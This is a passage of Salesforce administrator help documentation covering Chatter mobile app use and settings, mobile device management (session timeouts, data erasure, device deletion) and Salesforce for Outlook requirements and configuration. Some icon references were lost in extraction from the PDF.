Restart the Chatter mobile app if configuration changes in Salesforce do not appear on your mobile device. How do I post and comment? To post to a feed, navigate to the feed and tap When posting, choose How do I refresh a feed? To refresh a feed, tap . . To comment on a post, navigate to the post and tap .

to select from the photos on your device, or

to take a picture to attach to the post.

How do I filter Chatter updates to see only those that mention me? Open the menu, then choose @ Me to display both posts others make to your Chatter feed as well as updates where you have been mentioned. How do I search for people and groups? To find people: 1. Open the menu, then choose People. 2. Choose Everyone. 3. Enter search terms in the search box, then press ENTER. To find groups: 1. Open the menu, then choose Groups. 2. Choose All Groups. 3. Enter search terms in the search box, then press ENTER. Currently, you can't search for feed items or files in the Chatter mobile app for Android. How do I view and send Chatter messages in the mobile app? The Chatter mobile app for Android doesn't currently support Chatter messages. Can customers use the Chatter mobile app? Currently, customers can't use the Chatter mobile app for Android. How do I connect to different instances of Chatter or Salesforce? To connect to another instance of Chatter or Salesforce such as Sandbox: 1. 2. 3. 4. If you're logged in to Chatter on your phone, log out and relaunch the app. The Login screen appears. Press the menu button on your phone. Tap Add Custom Instance. Name the connection and enter the URL you use to log in to that instance, then tap Authenticate.

901

Salesforce Mobile

Chatter Mobile App Overview

Important: The URL you enter must start with https://.

See Also:
Chatter Mobile App Overview Bypassing IP Restrictions for Chatter Mobile App Users Configuring the Chatter Mobile App Viewing Chatter Mobile App Activity and Revoking Access

Tips for Using the Chatter Mobile App on iPads


Available in: All Editions except Database.com

How do I post and comment? in the Salesforce online help How do I refresh a feed? in the Salesforce online help How do I add an item to my favorites? in the Salesforce online help How do I filter Chatter updates to see only those that mention me? in the Salesforce online help How do I view information about a user or group? in the Salesforce online help How do I search for people and groups? in the Salesforce online help How do I view and send Chatter messages in the mobile app? in the Salesforce online help How do I log out? in the Salesforce online help Can customers use the Chatter mobile app? in the Salesforce online help How do I connect to different instances? in the Salesforce online help

How do I post and comment? To post to a feed, navigate to the feed and tap Tip: When posting, choose choose . To comment on a post, navigate to the post and tap .

to select from the photos on your device. When posting from a device with a camera,

to take a picture to attach to the post.

How do I refresh a feed? To refresh a feed, scroll to top of the feed, then drag your finger down and release. How do I add an item to my favorites? To add to your Favorites, press your finger on the icon next to a person, group, or record until the icon highlights and drag it to the Favorites section.

902

Salesforce Mobile

Chatter Mobile App Overview

How do I filter Chatter updates to see only those that mention me? Choose Chatter, then choose @ Me to display both posts others make to your Chatter feed, as well as updates where you have been mentioned. How do I view information about a user or group? To view information about a user or group on an iPad, navigate to the user's or group's feed and choose How do I search for people and groups? To search for people or groups on an iPad, choose . .

Currently, you can't search for feeds items or files in the Chatter mobile app for iPad. How do I view and send Chatter messages in the mobile app? The Chatter mobile app for iPad doesn't currently support Chatter messages. How do I log out? Navigate to the iPad Settings screen, choose the Chatter mobile app, and set Log Out Now to On. Can customers use the Chatter mobile app? Currently, customers can't use the Chatter mobile app for iPad. How do I connect to different instances? To connect to another instance of Chatter or Salesforce: 1. 2. 3. 4. Navigate to the iPad Settings screen. Set Log Out Now to On. Tap Add Custom Instance. Name the connection and enter the URL you use to log in to that instance, then click Authenticate. Important: The URL you enter must start with https://.

See Also:
Chatter Mobile App Overview Bypassing IP Restrictions for Chatter Mobile App Users Configuring the Chatter Mobile App Viewing Chatter Mobile App Activity and Revoking Access

Tips for Using the Chatter Mobile App on iPhones and iPod Touches

903

Salesforce Mobile

Chatter Mobile App Overview

Available in: All Editions except Database.com

How do I post and comment? How do I refresh a feed? How do I filter Chatter updates to see only those that mention me? How do I search for people and groups? How do I view and send Chatter messages in the mobile app? How do I log out? Can customers use the Chatter mobile app? How do I connect to different instances?

How do I post and comment? To post to a feed, navigate to the feed and tap Tip: When posting, choose choose . To comment on a post, navigate to the post and tap .

to select from the photos on your device. When posting from a device with a camera,

to take a picture to attach to the post.

How do I refresh a feed? To refresh a feed, scroll to top of the feed, then drag your finger down and release. How do I filter Chatter updates to see only those that mention me? In the Chatter mobile app, the @ Me filter is available as a tab. Choose the @ Me tab to display both posts others make to your Chatter feed, as well as updates where you have been mentioned. How do I search for people and groups? To find people: 1. Choose the People tab. 2. Enter your search terms in the search box. To find groups: 1. Choose the Groups tab. 2. Choose All. 3. Enter your search terms in the search box. Currently, you can't search for feeds items or files in the Chatter mobile app for iPhone and iPod Touch. How do I view and send Chatter messages in the mobile app? The Chatter mobile app for iPhone and iPod Touch doesn't currently support Chatter messages. How do I log out? Navigate to the iPhone Settings screen, choose the Chatter mobile app, and set Log Out Now to On.

904

Salesforce Mobile

Chatter Mobile App Overview

Can customers use the Chatter mobile app? Currently, customers can't use the Chatter mobile app for iPhone and iPod Touch. How do I connect to different instances? To connect to another instance of Chatter or Salesforce: 1. 2. 3. 4. Navigate to the iPhone Settings screen. Set Log Out Now to On. Tap Add Custom Instance. Name the connection and enter the URL you use to log in to that instance, then click Authenticate. Important: The URL you enter must start with https://.

See Also:
Chatter Mobile App Overview Bypassing IP Restrictions for Chatter Mobile App Users Configuring the Chatter Mobile App Viewing Chatter Mobile App Activity and Revoking Access

Configuring the Chatter Mobile App


Available in: All Editions except Database.com

User Permissions Needed To view mobile settings: To change mobile settings: View Setup and Configuration Manage Mobile Configurations

To configure access to the Chatter mobile app in your organization: 1. 2. 3. 4. Log into Salesforce. Click Your Name > Setup > Mobile Administration > Chatter Mobile > Settings. Click Edit. Select Enable Chatter Mobile. Users receive an error message if they try to use the Chatter mobile app in an organization in which the app is disabled. Note: You cannot deauthorize the use of the Chatter mobile app for BlackBerry devices in your organization.

5. Select the mobile device types your organization allows to use Chatter mobile app. The Chatter mobile app displays an error message if a user tries to use the Chatter mobile app on a restricted device.

905

Salesforce Mobile

Chatter Mobile App Overview

6. Optionally, enable push notifications. Push notifications are alerts that apps render on mobile device home screens when users are not using the app. These alerts can consist of text, icons, and sounds, depending on the device type. The Chatter mobile app uses push notifications to keep users aware of important Chatter activity without requiring users to return to the app. For example, push notifications can notify a user when someone posts on the user's profile, mentions the user in a post, comments on the user's post, and more. Note: Users can disable Chatter push notifications on their devices, but they can't enable them if an administrator deselects the Enable Chatter Push Notifications checkbox. Chatter push notifications are currently available only for BlackBerry devices.

7. Optionally, set the session security timeout for the Chatter mobile app. When a session expires, users must enter their passcode to access the Chatter mobile app on their mobile device. You dont need to set this option if the operating system automatically locks the device after a period of inactivity. 8. Click Save. 9. If your organization restricts login IP ranges, exempt the users and groups that need to access the Chatter mobile app outside of your organization's login IP range. You do not need to exempt users with BlackBerry devices; BlackBerry devices must already have Internet connectivity through a BlackBerry Enterprise Server with an IP address that falls within the Salesforce login IP ranges. 10. Restart the Chatter mobile app if configuration changes in Salesforce do not appear on your mobile device.

See Also:
Setting Login Restrictions Salesforce Mobile Overview Chatter Overview Chatter Mobile App Overview Viewing Chatter Mobile App Activity and Revoking Access

Bypassing IP Restrictions for Chatter Mobile App Users


Available in: All Editions except Database.com

User Permissions Needed To view mobile settings: To change mobile settings: View Setup and Configuration Manage Mobile Configurations

If your organization has trusted IP ranges, specify the users that can use the Chatter mobile app outside of those ranges. Important: Users cannot use the Chatter mobile app outside of your trusted IP ranges unless you specifically include them or their group in the list of users who can bypass the login IP restrictions.

906

Salesforce Mobile

Chatter Mobile App Overview

The users you specify can only bypass the restrictions with the Chatter mobile app; they can't access Salesforce through a Web browser outside of the trusted IP ranges. You do not need to specify users with BlackBerry devices. BlackBerry devices must already connect through a BlackBerry Enterprise Server with an IP address in a trusted Salesforce IP range. To specify trusted IP ranges, click Your Name > Setup > Security Controls > Network Access.

To specify which users and groups can use the Chatter mobile app outside of your organization's login IP range: 1. Click Your Name > Setup > Mobile Administration > Chatter Mobile > IP Restricted Users. Note: The IP restriction bypass settings appear only in organizations with profile-based IP restrictions.

2. Specify the users and groups that can bypass the restrictions with the Chatter mobile app. 3. Click Send Email. Salesforce sends them an email with download links for the mobile apps your organization supports and a unique activation link. Users must click the activation link on their device to use the Chatter mobile app. Important: Users with IP restrictions cannot use the Chatter mobile app unless they click the activation link from their mobile device. The activation link cannot be shared or transferred.

See Also:
Setting Login Restrictions Salesforce Mobile Overview Chatter Overview Chatter Mobile App Overview Configuring the Chatter Mobile App

Viewing Chatter Mobile App Activity and Revoking Access


Available in: All Editions except Database.com

User Permissions Needed To view Chatter mobile app activity and revoke access to the Manage Mobile Configurations Chatter mobile app:

To view Chatter mobile app activity in your organization, including the date each user activated or used the app, click Your Name > Setup > Mobile Administration > Chatter Mobile > Users and Devices. You can also remotely revoke access to the Chatter mobile app for a specific device if the device is lost or stolen. Revoking access prevents the device from accessing Chatter and deletes Chatter data from the device the next time the device attempts to synchronize with Salesforce. To revoke access for your own mobile device:

907

Salesforce Mobile

Creating Mobile Links

1. Click Your Name > Setup > Manage Users > Users. 2. Click your name. 3. In the Remote Access related list, click Revoke next to the entry for the Chatter mobile app. To revoke access for mobile devices owned by other users: 1. Click Your Name > Setup > Mobile Administration > Chatter Mobile > Users and Devices. 2. Select the users for whom you want to revoke access. 3. Click Revoke.

See Also:
Salesforce Mobile Overview Chatter Mobile App Overview Configuring the Chatter Mobile App

Creating Mobile Links


To improve the integration between the mobile client application, Visualforce Mobile, and external websites, you can optionally create links from native Salesforce records to Visualforce Mobile pages or external websites. To create the links, build text formula fields on a standard or custom object. The field must be visible on the page layout to appear in the mobile application. The best practice is to include all embedded links in a separate section labeled Mobile Links at the bottom of the page layout. There is currently no way to hide these links in Salesforce, but users can collapse the section to keep the links out of the way. To create a link from a native record to a Visualforce Mobile page or Web page: 1. Create a custom field by navigating to the fields area of the appropriate object: For standard objects, click Your Name > Setup > Customize, then select the appropriate object from the Customize menu, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. Click New in the Custom Fields & Relationships section of the page. 3. Select Formula, then click Next. 4. Enter the field label. The field name is automatically populated based on the field label you enter. 5. Select Text, then click Next. 6. In the formula editor, create the link to the custom Visualforce page or external website: To create a Visualforce link, type "visualforce:///apex/PageName", and replace PageName with the name of your Visualforce page. You can append parameters to the string, such as ?contactid=" & Id", in order to pass information from the record in the client application to the Visualforce page. To create a Web link, type "weblink:", followed by the URL to which you want the link to point, such as "weblink:http://www.salesforce.com". You can append parameters to the string in order to pass information from the record in the client application to the Web page. For example, the following Web link launches a social networking site from a contact record and performs a search for the contact:
"weblink:http://m.linkedin.com/members?search_term=" &FirstName& "+" &LastName& "&filter=name&commit=Search"

908

Salesforce Mobile

Sending Emails to Mobile Users

Note: The client application passes the Visualforce or Web link with all parameters to the embedded browser. It is up to the website or Visualforce Mobile page to interpret any parameters. Be sure to construct your Visualforce Mobile page to consume any parameters passed in the link. 7. Click Next. 8. Set the field-level security to determine whether the field should be visible or read only for specific profiles, and click Next. 9. Choose the page layouts that should display the field. In the next step, you will customize the layout to change the location of the field on the page. 10. Click Save. 11. Edit the object's page layout: For standard object page layouts, select Your Name > Setup > Customize, select the object, and choose the Page Layouts link. Click Edit next to the name of the page layout you want to modify. For custom object page layouts, select Your Name > Setup > Create, select the object, and scroll to the Page Layouts section. Click Edit next to the name of the page layout you want to modify.

12. Drag a Section element from the palette to the page layout and drop it below the existing sections. 13. In the Section Name field, type Mobile Links. 14. Deselect the Edit Page option. 15. Select the 1-column layout, then click OK. 16. Drag the new text formula field from its current location into the new Mobile Links section. 17. Click Save.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Managing Mobile Tabs Visualforce Overview

Sending Emails to Mobile Users


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

When you're ready to deploy the mobile application to your users, send them an email to notify them about the availability of the application and provide installation instructions. You can send the email using your corporate email application, like Outlook, or you can send mass email from Salesforce. Either way, include the URL that launches the download: For BlackBerry and Windows mobile users, the download URL is mobile.salesforce.com. The link is the same for the initial download and for subsequent upgrades. You can obtain the iPhone download URL from iTunes. Open iTunes, click iTunes Store, then search for Salesforce Mobile. Click the application icon to view details about the app. At the top of the iTunes window is a bread crumb path

909

Salesforce Mobile

Managing Mobile Devices

representing the application's location in the App Store: App Store > Business > Salesforce Mobile. Drag-and-drop the path into a text editor or word processing program to display the download URL for the application. To send mass email to mobile users from Salesforce: 1. Create an email template informing users about the initial installation. Optionally, create a separate email template for upgrade notifications. Include the download link in the templates. 2. Create a custom view on the Mass Email page showing only mobile users. Note: The Mobile User checkbox indicates that users have a mobile license, and a mobile license enables them to use Salesforce Mobile, which is the full version of the mobile application. Mobile Lite users do not need a mobile license to use the mobile application, so you must use different filter criteria to create a view for Mobile Lite users. Try filtering based on roles or profiles instead. 3. Send mass email to your mobile users using the custom view that you created.

Managing Mobile Devices


Available in: All Editions except Database.com

User Permissions Needed To view mobile devices and users: To manage mobile devices: View Setup and Configuration Manage Mobile Configurations

After a user installs the mobile application on their wireless device and logs in for the first time, Salesforce collects the device information and associates the device with the user's record. The device information is read only. While the device entry is created automatically, you can still view and manage all the mobile users and devices in your organization by clicking Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the All Mobile Users and Devices page: You can view the list of users in your organization who have been enabled to use Salesforce Mobile. You can create custom list views to see different subsets of your mobile users (see Creating Custom List Views on page 241). For example, create a view that shows the mobile users who have never logged in to Salesforce from their devices to evaluate your organization's mobile deployment efforts. To view details about a mobile device, click the device address. See Viewing Mobile Device Information on page 911. To view details about a specific user, click the username. To view details about a mobile configuration, click the mobile configuration name. The buttons on the All Mobile Users and Devices page let you perform actions on multiple mobile users at one time. You can: Adjust the mobile session timeout value Erase the Salesforce data from a user's device Delete a device from a user's record

910

Salesforce Mobile

Managing Mobile Devices

To find out why a user's device is not synchronizing, hover your mouse over the red error icon in the Status column. Additional information about the synchronization errors appears on the device's detail page. See Viewing Mobile Device Information on page 911. Note: You can also manage mobile users from the Assigned Mobile Devices related list on the user detail page.

See Also:
Supported Devices for Mobile Sending Emails to Mobile Users Salesforce Mobile Overview Managing Mobile Configurations

Viewing Mobile Device Information


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

Salesforce collects information about a mobile user's device the first time the user logs in to the mobile application. There are two ways to access the device details: Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices, and then click a device address in the list view. Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address in the Assigned Mobile Devices related list.

From the Mobile Device page, you can: Review device information Adjust the mobile session timeout value Erase the Salesforce data from a user's device Delete a device from a user's record

Below is a description of the fields in alphabetical order that are stored for each mobile device in your organization. Field
Brand Carrier

Description The brand of the mobile device, if available. The name of the carrier providing service for the mobile device, if available. The date and time the device established a connection to the mobile server. The device loses a connection when the battery

Connected Since

911

Salesforce Mobile

Managing Mobile Devices

Field

Description dies or when the session is closed because the server has not received data from the device for a long period of time.

Connection Status

The state of the device connection. Possible values for this field are Connected, Not Connected, and Not Available. The name of the first user who registered the mobile device and the time and date the registration occurred. The size of the Salesforce data currently stored on the user's mobile device. The mobile device periodically sends this information to Salesforce, which is helpful when troubleshooting synchronization errors resulting from an exceeded data limit. The unique PIN of the user's mobile device. The model of the mobile device. A flag indicating whether the device is a simulator or a mobile device. A simulator is a software application that emulates the behavior of a mobile device. The last time a full data set was downloaded to the mobile device. If a user's data set exceeds the limit defined in the assigned mobile configuration, the device can be registered but not activated. The last time data was received from the device. This information is helpful for troubleshooting connection issues. The last time a user registered the mobile device. The registration process creates the device record in Salesforce and associates it with the user who registered it. The last time the mobile device notified Salesforce that the device is no longer synchronizing data due to an error. The Last Status Date field is only visible when an error is present. The manufacturer of the mobile device. The size of the Salesforce metadata currently stored on the user's mobile device. Metadata consists of page layout and schema information, and the amount of metadata sent to a device can be very high depending on the size of your organization and the complexity of its setup. The name of the last user who registered the mobile device and the time and date the registration occurred. The number of messages queued on the mobile server waiting to be sent to the device.

Created By

Data Size

Device Address Device Model Is Simulator?

Last Activated

Last Data Received

Last Registration

Last Status Date

Manufacturer Metadata Size

Modified By

Number of Pending Outgoing Messages

912

Salesforce Mobile

Managing Mobile Devices

Field
Operating System

Description The type of operating system installed on the mobile device: BlackBerry, iPhone, or Windows Mobile. The version number of the operating system installed on the mobile device. The phone number associated with the mobile device. The version number and build number of the mobile client application installed on the device. The total data size of the messages queued on the device waiting to be sent to the mobile server. Because the server processes messages almost instantaneously, this value is usually 0. The total data size of the outbound message queue on the mobile server. Indicates whether any synchronization errors exist between the device and Salesforce. The Status field is only visible when an error is present. The two error statuses are Data Limit Exceeded and Unknown Error. The Salesforce username of the user who is associated with the mobile device.

Operating System Version

Phone Number Salesforce Mobile Version

Size of Pending Outgoing Messages (Bytes)

Size of Outgoing Messages (Bytes)

Status

Username

Note: If Salesforce detects the selected device was registered by a user in another organization, an error displays on the device detail page. This can happen when a device was registered to a user in your sandbox organization and then later activated by a user in your production organization. To remove the old device record from your organization, simply delete the device.

Setting Mobile Session Timeout Values


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To set mobile session timeout values: Manage Mobile Configurations

For security reasons, the mobile client application is set to lock out users after ten minutes of inactivity. Administrators can adjust or disable this setting on a device-by-device basis. You might disable the timeout setting if the mobile device's operating system has its own locking mechanism.

913

Salesforce Mobile

Managing Mobile Devices

To change the mobile session timeout value: 1. Navigate to the Mobile Devices and Users page or the Mobile Device page: Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view, you can select multiple devices at one time. OR Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address in the Assigned Mobile Devices related list.

2. Click Set Mobile Session Timeout. 3. Choose the new timeout value in minutes. You also have the option to choose Never Expire if users should not be locked out of the mobile application. 4. Click Save. Salesforce attempts to send a message containing the new session timeout setting to the selected mobile devices. 5. A confirmation page summarizes the results for each mobile device you selected. Mobile Session Timeout Results After Salesforce sends the new session timeout session to the selected mobile devices, a results page provides information about the status of each message. The table below describes the three possible outcomes: Result Message successfully queued Description The mobile server has sent the message to the device. Salesforce cannot detect if the message was received by the device. A temporary communication problem between Salesforce and the mobile server prevented the message from being sent. Try again later. The selected mobile user never registered a device, so therefore the message could not be sent.

Unable to send message

User has no mobile device

See Also:
Managing Mobile Devices Viewing Mobile Device Information Erasing Mobile Data Deleting Mobile Devices Salesforce Mobile Overview

Erasing Mobile Data

914

Salesforce Mobile

Managing Mobile Devices

Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To delete the mobile data on a device: Manage Mobile Configurations

A mobile device activated by a Salesforce user contains both the mobile client application and a set of the user's Salesforce data. An administrator can remove the data from a device without uninstalling the mobile application. This is an effective security tool when a user misplaces his or her device. You also must erase a device's data if you plan to give it to another user. To erase the Salesforce data on one or more mobile devices: 1. Navigate to the Mobile Devices and Users page or the Mobile Device page: Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view, you can select multiple devices at one time. Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address in the Assigned Mobile Devices related list.

2. Click Erase Data, and then click OK. Salesforce attempts to send a message to the mobile devices to erase the data. Erase Data Results After Salesforce sends the message to the mobile devices to erase data, a results page provides information about the status of each message. The table below describes the three possible outcomes: Result Message successfully queued Description The mobile server has sent the message to the device. Salesforce cannot detect if the message was received by the device. A temporary communication problem between Salesforce and the mobile server prevented the message from being sent. Try again later. The selected mobile user never registered a device, so therefore the message could not be sent.

Unable to send message

User has no mobile device

See Also:
Managing Mobile Devices Viewing Mobile Device Information Setting Mobile Session Timeout Values Deleting Mobile Devices

915

Salesforce Mobile

Managing Mobile Devices

Deleting Mobile Devices


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile devices and users: To delete mobile devices: View Setup and Configuration Manage Mobile Configurations

There are two instances when you would delete a mobile device from a user's record: Your organization's mobile settings permanently link mobile users to their devices, and you need to assign a device to a different user. If you did not enable this setting, Salesforce automatically associates a device record with the mobile user who most recently activated the device, so it is unnecessary to delete a device to assign it to another user. You want to move a device from your sandbox organization to your production organization.

To delete a mobile device: 1. Navigate to the Mobile Devices and Users page or the Mobile Device page: Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view, you can select multiple devices at one time. OR Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address in the Assigned Mobile Devices related list.

2. On the Mobile Devices and Users page, select one or more devices, then click Delete Device. On the Mobile Device page, click Delete. 3. Click OK. Salesforce attempts to delete the selected device(s). 4. A confirmation page summarizes the results for each mobile device you selected. Delete Device Results After Salesforce sends the message to the mobile server to delete the devices, a results page provides information about the status of each device. The table below describes the three possible outcomes: Result Device deleted. Description Salesforce removed the device record from your organization.

Device cannot be deleted at this time. Please try again later. A temporary communication problem between Salesforce and the mobile server prevented the device from being deleted. Try again later.

916

Salesforce Mobile

Customizing Mobile Settings

Result User has no mobile device.

Description The selected mobile user never registered a device, so therefore the message could not be sent.

See Also:
Erasing Mobile Data Force.com Sandbox

Customizing Mobile Settings


Available in: All Editions except Database.com

User Permissions Needed To view mobile settings: To change mobile settings: View Setup and Configuration Manage Mobile Configurations

To customize mobile settings for your organization: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Settings. 2. Click Edit. 3. Select Enable Mobile Lite to allow users without a mobile license to install and run Mobile Lite, the free, restricted version of Salesforce Mobile. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent users from accessing Salesforce from a mobile device. Note: If you deselect this option and users are running Mobile Lite, the Salesforce data on their devices will be erased the next time the devices synchronize with Salesforce. 4. Select Permanently Link User to Mobile Device to prevent mobile users from registering any mobile device other than the one they used for their initial Salesforce Mobile account activation. By default, Salesforce automatically associates a device record with the mobile user who most recently activated the device, so administrators do not need to update the device record to assign the device to another user. While this behavior makes it easy to switch devices between users in your organization, some administrators prefer that users are permanently linked to the devices they were originally assigned. This helps administrators of organizations with highly sensitive data ensure that their users do not access corporate data from personal devices. Caution: Enabling the Permanently Link User to Mobile Device setting requires administrative action when users need to switch devices. You must manually delete the existing device from a user's record in order for the user to register a different device. If you do not delete the device, the user will be unable to access Salesforce Mobile.

917

Salesforce Mobile

Salesforce Mobile Usage Data in Custom Report Types

5. Click Save.

See Also:
Salesforce Mobile Overview Mobile Lite Overview Chatter Mobile App Overview Managing Mobile Configurations Managing Mobile Devices Salesforce Mobile Usage Data in Custom Report Types

Salesforce Mobile Usage Data in Custom Report Types


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To delete custom report types: Manage Custom Report Types Modify All Data

You can create custom report types with data that shows how your organization uses Salesforce Mobile. For example, the reports can show how often users access Salesforce Mobile, which mobile device models they use, and so forth. To create a custom report type with Salesforce Mobile usage data, select the Mobile Session Primary Object when defining a custom report type. When you select the fields for the custom report type, choose from the following Salesforce Mobile-specific fields. Mobile Usage Data Point Brand Data Size (Bytes) Device Address Device Application Version Device Model Device Operating System Version Last Registration Date Last Status Date Manufacturer Definition Wireless carrier Total size of records on device Unique physical address of device (PIN for BlackBerry or UDID for iOS) Installed version of Salesforce Mobile Model of device Version of operating system installed on device Date of last registration or activation Date of last communication received from device Manufacturer of device

918

Administering Salesforce for Outlook

Salesforce for Outlook System Requirements

Metadata Size (Bytes) Owner: Full Name Session Start Date Status

Size of metadata (page layouts, picklist values, and so forth) on the device Name of the device user Date the mobile session started Indicator that the user's data set exceeds the maximum allowed size by the mobile configuration

Note: Mobile sessions are similar to Web-based sessions in login history reports; however, mobile sessions have a fixed timeout value of 20 minutes. Salesforce creates a new Mobile Session when a user logs into or launches Salesforce Mobile after 20 minutes of inactivity in the app or on the device in general. Mobile session reports only have usage data for the Salesforce Mobile app and not the Chatter mobile app. Some devices do not provide every physical attribute. For example, Apple devices do not provide brand.

See Also:
Salesforce Mobile Overview Mobile Lite Overview Customizing Mobile Settings Managing Mobile Configurations Managing Mobile Devices

ADMINISTERING SALESFORCE FOR OUTLOOK


Salesforce for Outlook System Requirements
Available in: Group, Professional, Enterprise, Unlimited, Developer, and Contact Manager Editions; and Trial organizations

System Requirements
Microsoft Outlook 2010 (64bit and 32-bit) or 2007 Microsoft Windows 7 (64bit and 32-bit), Vista (32-bit only), or XP (32-bit only)

919

Administering Salesforce for Outlook

Salesforce for Outlook System Requirements

Other Requirements
Servers Salesforce for Outlook is supported on systems that connect to the internet through a proxy server. We support automatic proxy detection, manual proxy, and NTLM proxy authentication. IMAP and Pop3 email servers are not supported. Terminal servers, such as Citrix, are not supported.

.msi Installer

You may have to install the following additional tools if you use the .msi installer. They're installed automatically when you use the standard .exe installer. Microsoft .NET Framework 4 Visual Studio 2010 Tools for Office Runtime Primary Interop Assemblies (PIA) redistributable package for your version of Microsoft Outlook

Microsoft Vista and Windows 7 .msi users must run the command prompt as an administrator and then launch the installer from the command line, such as from the command msiexec /i SalesforceForOutlook.msi. Considerations for Microsoft Office and Salesforce for Outlook Salesforce for Outlook doesn't support Click-to-Run Outlook 2010 users require the Office 2010 PIA redistributable package Outlook 2007 users require the Office 2007 PIA redistributable package

Single Sign-On Requirements Salesforce for Outlook supports both delegated authentication and Security Assertion Markup Language (SAML) requirements. When using SAML in Salesforce for Outlook, My Domain is required. Time Zones The Windows time zone must match the time zone set in the user's personal information page. Salesforce for Outlook supports all Salesforce time zones except custom time zones and the following. America/Panama America/Puerto_Rico Asia/Manila Atlantic/Bermuda Australia/Lord_Howe Pacific/Chatham Pacific/Enderbury Pacific/Kiritimati Pacific/Niue Pacific/Norfolk

920

Administering Salesforce for Outlook

Salesforce for Outlook System Requirements

Pacific/Pago_Pago

See Also:
Salesforce for Outlook Overview Installing Salesforce for Outlook Reviewing the Salesforce for Outlook Terms of Use Salesforce for Outlook Supported Languages

Salesforce for Outlook Supported Languages


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Contact Manager Editions; and Trial organizations

Salesforce for Outlook supports these languages. Chinese (Simplified) Chinese (Traditional) Czech Danish Dutch English German Finnish French Hebrew Hungarian Italian Japanese Korean Polish Portuguese (Brazil) Romanian Russian Spanish Spanish (Mexico) Swedish Thai Turkish Ukrainian Vietnamese

921

Administering Salesforce for Outlook

Salesforce for Outlook Configurations Overview

The Salesforce for Outlook installer doesn't support: Hebrew Portuguese (Brazil) Romanian Spanish (Mexico) Thai Vietnamese

See Also:
Salesforce for Outlook System Requirements

Salesforce for Outlook Configurations Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

A Salesforce for Outlook configuration is a set of parameters that determine the data that Salesforce for Outlook users can sync between Microsoft Outlook and Salesforce. You can create multiple configurations to simultaneously suit the needs of different types of users. For example, a sales team might want to sync everything, while a manager might only want to sync events. Users may be able to edit some of their own settings. Default configurations are automatically assigned to users of Contact Manager and Group Editions. To manage your configurations, click Your Name > Setup > Desktop Administration > Outlook Configurations. To create a configuration, click New Outlook Configuration. To change a configuration, click Edit. To delete a configuration, click Del. To view details about a configuration, click its name. To activate a configuration, click Edit next to the configuration, select Active, and click Save.

922

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

To deactivate a configuration, click Edit next to the configuration, deselect Active, and click Save. If the configuration's users are listed on another active configuration through a profile, that configuration is used the next time they open Outlook. Otherwise, they're unable to use Salesforce for Outlook.

See Also:
Creating Salesforce for Outlook Configurations Defining Data Sets for Salesforce for Outlook Checking the Size of Salesforce for Outlook Data Sets Default Salesforce for Outlook Configuration Salesforce for Outlook Overview

Creating Salesforce for Outlook Configurations


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

1. 2. 3. 4. 5.

Click Your Name > Setup > Desktop Administration > Outlook Configurations. Click New Outlook Configuration. Enter a name and description of the configuration. Select Active to activate the configuration. Make sure Notify of product updates is selected if you want users to see system tray alerts when new versions of Salesforce for Outlook are available for download. Users are alerted every 14 days until they download the new version or hide system tray alerts. 6. Depending on the configuration, you'll need to define some or all of these settings. Assigned users and profiles Add email Sync direction Conflict behavior Field mappings Matching criteria Modification permissions Advanced settings

7. Click Save. 8. Define data sets.

923

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

When users log in to Salesforce from the Salesforce for Outlook setup wizard, these settings take effect immediately. If you deactivate a configuration and the assigned users are listed on another active configuration through a profile, the active configuration is used the next time they open Outlook.

See Also:
Salesforce for Outlook Configurations Overview Default Salesforce for Outlook Configuration

Assigning Users to Salesforce for Outlook Configurations


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

After you define basic information for a Salesforce for Outlook configuration, you select the Salesforce for Outlook users that the configuration's settings will apply to. 1. 2. 3. 4. 5. Click Your Name > Setup > Desktop Administration > Outlook Configurations. Click Edit. In the Assign Users and Profiles section, select either Profiles or Users in the Search drop-down list. If you don't see the member you want to add, enter keywords in the search box and click Find. Select members from the Available Members box, and click Add to add them to the group. If all available users are assigned to this configuration, the Users list is empty and you can only assign profiles. 6. To remove members, select those members and click Remove. If removed users are assigned to another active configuration through a profile, that other configuration is used the next time they open Outlook. Otherwise, they're unable to use Salesforce for Outlook. 7. Click Save. All changes take effect the next time data syncs for the users in this configuration. If you assign a user who is already assigned to a different configuration, that user is removed from the other configuration and assigned to this one. If an assigned user is also part of a profile assigned to another active configuration, the configuration that lists the user directly is used.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Enabling Add Email in Salesforce for Outlook

Defining Data Settings for Salesforce for Outlook


924

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

